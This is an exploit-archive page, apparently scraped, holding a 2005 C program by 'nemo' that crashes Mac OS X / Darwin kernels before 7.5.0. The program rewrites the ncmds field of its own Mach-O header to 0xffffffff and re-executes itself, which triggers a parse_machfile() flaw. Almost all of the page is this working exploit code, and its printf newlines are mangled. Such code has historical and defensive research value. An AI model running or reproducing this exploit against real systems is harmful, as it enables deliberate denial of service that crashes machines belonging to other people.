[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Mac OS X <= 10.3.7 Input Validation Flaw parse_machfile() DoS
# Published : 2005-01-20
# Author : nemo
# Previous Title : Apple QuickTime <= 6.5.2.10 (.qtif) Image Parsing Vulnerability
# Next Title : Breed <= patch #1 zero-length Remote Crash Exploit


/*
* DoS for Darwin Kernel Version < 7.5.0
* -(nemo pulltheplug org)-
* 2005
*
* greetz to awnex, cryp, nt, andrewg, arc, mercy, amnesia ;)
* irc.pulltheplug.org (#social)
*/


#include <stdio.h>

int main( int ac, char * * av )
{
  FILE * me;
  int rpl = 0xffffffff;
  fpos_t pos = 0x10;
  printf( "-( nacho - 2004 DoS for OSX (darwin < 7.5.0 )-n" );
  printf( "-( nemo pulltheplug org )-nn" );
  printf( "[+] Opening file for writing.n" );
  if ( !( me = fopen( * av, "r+" ) ) )
  {
    printf( "[-] Error opening exe.n" );
    exit( 1 );
  }
  printf( "[+] Seeking to ncmds.n" );
  if ( ( fsetpos( me, & pos ) ) == -1 )
  {
    printf( "[-] Error seeking to ncmds.n" );
    exit( 1 );
  }
  printf( "[+] Changing ncmds to 0x%x.n", rpl );
  if ( fwrite( & rpl, 4, 1, me ) < 1 )
  {
    printf( "[-] Error writing to file.n" );
    exit( 1 );
  }
  fclose( me );
  printf( "[+] Re-executing with modified mach-o header.n" );
  sleep( 5 );
  if ( execv( * av, av ) == -1 )
  {
    printf( "[-] Error executing %s, please run manually.n", * av );
    exit( 1 );
  }
  exit( 0 ); // hrm
}

// www.Syue.com [2005-01-20]